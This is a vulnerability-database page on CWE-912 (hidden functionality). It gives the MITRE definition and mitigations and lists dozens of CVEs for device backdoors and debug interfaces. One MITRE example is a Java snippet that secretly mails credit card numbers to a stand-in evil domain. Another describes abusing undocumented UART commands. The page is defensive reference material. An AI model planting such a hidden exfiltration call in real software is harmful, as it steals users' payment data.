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CWE-912 (隐藏功能) — Vulnerability Class 73

73 vulnerabilities classified as CWE-912 (隐藏功能). AI Chinese analysis included.

CWE-912 represents a software weakness where undocumented, unspecified, or non-obvious functionality exists within a product, often bypassing standard user interfaces or administrative controls. This vulnerability is typically exploited by attackers who discover these hidden pathways, such as debug ports, developer shortcuts, or intentional backdoors, to gain unauthorized access or execute malicious actions without detection. Developers can mitigate this risk by enforcing strict code reviews to identify and remove unnecessary or obscure code paths, ensuring comprehensive documentation of all features, and implementing rigorous access controls that restrict visibility to only intended, documented interfaces. By adhering to secure coding standards and maintaining clear separation between production and development code, organizations can eliminate unintended entry points, thereby reducing the attack surface and preventing adversaries from leveraging hidden mechanisms for unauthorized system manipulation or data exfiltration.

MITRE CWE Description
The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators. Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the product's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.
Common Consequences (1)
Other, Integrity Varies by Context, Alter Execution Logic
Mitigations (1)
Installation Always verify the integrity of the product that is being installed.
Examples (2)
In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.
boolean authorizeCard(String ccn) { // Authorize credit card. ... mailCardNumber(ccn, "evil_developer@evil_domain.com"); }
Bad · Java
Consider a device that comes with various security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash device. However, this code contains undocumented "special access features" intended to be used only for performing failure analysis and intended to only be unlocked by the device designer.
Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.
Bad · Other
CVE ID Title CVSS Severity Published
CVE-2026-18844 Pulsetto Vagus Nerve Stimulator Hidden Functionality — Vagus Nerve Stimulator 8.1 High 2026-08-11
CVE-2026-61515 Puwell IP Camera 2.x - 4.x Unauthenticated Command Injection via DebugShell — IP Camera 9.8 Critical 2026-08-04
CVE-2026-18191 Vacron|IP Camera - Hidden Functionality — VIN-DS783E-E6 9.8 Critical 2026-07-29
CVE-2026-4769 Unauthenticated Access to Internal Diagnostic Interface — 0765-110x/0100-0000 9.8 Critical 2026-07-13
CVE-2026-7413 Persistent undocumented backdoor access in Yarbo robot — Firmware 7.2 High 2026-05-07
CVE-2026-41446 WattBox 800 & 820 Series < 2.10.0.0 RCE via Diagnostic Endpoints — WattBox 800 9.8 Critical 2026-04-28
CVE-2026-1952 Denial of service via the undocumented subfunction in AS320T — AS320T 9.8 Critical 2026-04-24
CVE-2026-4621 NEC Platforms Aterm Series 安全漏洞 — Aterm W1200EX(-MS) 5.3 - 2026-03-27
CVE-2026-33280 BUFFALO Wi-Fi router 安全漏洞 — BUFFALO Wi-Fi router products 9.8 - 2026-03-27
CVE-2026-31847 Hidden Functionality Enables Remote Telnet Activation via /goform/setSysTools in Nexxt Nebula 300+ — Nebula 300+ 8.5 High 2026-03-23
CVE-2026-3587 Hidden CLI Function Allows Root Access — Lean Managed Switch 852-1812 10.0 Critical 2026-03-23
CVE-2025-48418 Fortinet多款产品 安全漏洞 — FortiAnalyzer 6.4 Medium 2026-03-10
CVE-2026-1741 EFM ipTIME A8004T Debug d.cgi httpcon_check_session_url backdoor — ipTIME A8004T 6.6 Medium 2026-02-02
CVE-2025-55704 Brother Industries Brother MFPs 安全漏洞 — Multiple MFPs 5.3 Medium 2026-01-29
CVE-2025-11544 Sharp NP series 安全漏洞 — NP-P627UL, NP-P627ULG, NP-P627UL+, NP-P547UL, NP-P547ULG, NP-P607UL+, NP-CG6600UL, NP-H6271UL, NP-H5471UL, NP-P627ULH, NP-P547ULH, NP-PE455UL, NP-PE455ULG, NP-PE455WL, NP-PE455WLG, NP-PE505XLG, NP-CG6500XL, NP-CG6400UL, NP-CG6400WL, NP-CB4500XL, NP-CA4120X, NP-CA4160W, NP-CA4160X, NP-CA4200U, NP-CA4200W, NP-CA4202W, NP-CA4260X, NP-CA4300X, NP-CA4355X, NP-CD2100U, NP-CD2120X, NP-CD2300X, NP-CR2100X, NP-CR2170W, NP-CR2170X, NP-CR2200U, NP-CR2200W, NP-CR2280X, NP-CR2310X, NP-CR2350X, NP-MC302XG, NP-MC332WG, NP-MC342XG, NP-MC372X, NP-MC372XG, NP-MC382W, NP-MC382WG, NP-MC422XG, NP-ME342UG, NP-ME372W, NP-ME372WG, NP-ME382U, NP-ME382UG, NP-ME402X, NP-ME402XG, NP-P525UL, NP-P525ULG, NP-P525UL+, NP-P525WL, NP-P525WLG, NP-P525WL+, NP-P605UL, NP-P605ULG, NP-P605UL+, NP-CG6500UL, NP-CG6500WL, NP-CB4500UL, NP-CB4500WL, NP-P525ULH, NP-P525WLH, NP-P605ULH, NP-P554U, NP-P554UG, NP-P554U+, NP-P554W, NP-P554WG, NP-P554W+, NP-P474U, NP-P474UG, NP-P474W, NP-P474WG, NP-P604XG, NP-P604X+, NP-P603XG, NP-P523X+, NP-PE523XG, NP-PE523X+, NP-CF6600U, NP-CF6600W, NP-CF6700X, NP-CF6500X, NP-CB4600U, NP-P554UH, NP-P554WH, NP-P474UH, NP-P474WH, NP-P604XH, NP-P603XH, NP-PE523XH, NP-P502HL-2, NP-P502WL-2, NP-P502HLG-2, NP-P502WLG ,NP-ME401W, NP-ME361W, NP-ME331W, NP-ME301W, NP-ME401X, NP-ME361X, NP-ME331X, NP-ME301X, NP-ME401WG, NP-ME361WG, NP-ME331WG, NP-ME301WG, NP-ME401XG, NP-ME361XG, NP-ME331XG, NP-ME301XG, NP-CA4155W, NP-CA4350X, NP-CA4255X, NP-CA4155X, NP-CA4115X, NP-MC331WG, NP-MC421XG, NP-MC401XG, NP-MC371XG, NP-MC331XG, NP-MC301XG, NP-CK4155W, NP-CK4255X, NP-CK4155X, NP-CK4055X, NP-CM4150X, NP-CM4050X, NP-CK4155WG, NP-CK4255XG, NP-CK4155XG, NP-CR2165W, NP-CR2305X, NP-CR2275X, NP-CR2165X, NP-CR2155X, NP-CD2115X, NP-CD2105X, NP-CM4151X, NP-CR2276X, NP-CD2116X, NP-P502H, NP-P502W, NP-P452H, NP-P452W 7.7AI High AI 2025-12-22
CVE-2025-62773 Mercku M6a 安全漏洞 — M6a 2.4 Low 2025-10-22
CVE-2025-58778 Ruijie RG-EST300 安全漏洞 — RG-EST300 9.8AI Critical AI 2025-10-16
CVE-2025-11673 PiExtract |SOOP-CLM - Hidden Functionality — SOOP-CLM 7.2 High 2025-10-13
CVE-2025-55075 I-O DATA WN-7D36QR 安全漏洞 — WN-7D36QR 4.9 Medium 2025-09-17
CVE-2025-30064 Possibility to generate a session for any user via the "ex:action" parameter after obtaining access to the JWT key — CGM CLININET 9.1AI Critical AI 2025-08-27
CVE-2025-9382 FNKvision Y215 CCTV Camera Telnet Sevice s1_rf_test_config backdoor — Y215 CCTV Camera 6.4 Medium 2025-08-24
CVE-2010-20103 ProFTPD 1.3.3c Backdoor Command Execution — ProFTPD (Professional FTP Daemon) 9.8AI Critical AI 2025-08-20
CVE-2025-8938 TOTOLINK N350R Telnet Service formSysTel backdoor — N350R 6.3 Medium 2025-08-14
CVE-2011-10018 myBB 1.6.4 Backdoor Arbitrary Command Execution — Forum Software 9.8AI Critical AI 2025-08-13
CVE-2025-46267 ELECOM WRC-BE36QS-B和ELECOM WRC-W701-B 安全漏洞 — WRC-BE36QS-B 4.9 Medium 2025-07-22
CVE-2025-34117 Netcore / Netis Routers RCE via UDP Port 53413 Backdoor — Router firmware 9.8AI Critical AI 2025-07-16
CVE-2025-6839 Conjure Position Department Service Quality Evaluation System head.php eval backdoor — Position Department Service Quality Evaluation System 6.3 Medium 2025-06-29
CVE-2025-26412 Undocumented Root Shell Access in SIMCom SIM7600G Modem — SIM7600G Modem 9.8AI Critical AI 2025-06-11
CVE-2025-48416 Backdoor Functionality via SSH in eCharge Hardy Barth cPH2 / cPP2 charging stations — cPH2 / cPP2 charging stations 9.8AI Critical AI 2025-05-21
CVE-2025-47729 TeleMessage archiving backend 安全漏洞 — archiving backend 1.9 Low 2025-05-08

Vulnerabilities classified as CWE-912 (隐藏功能) represent 73 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.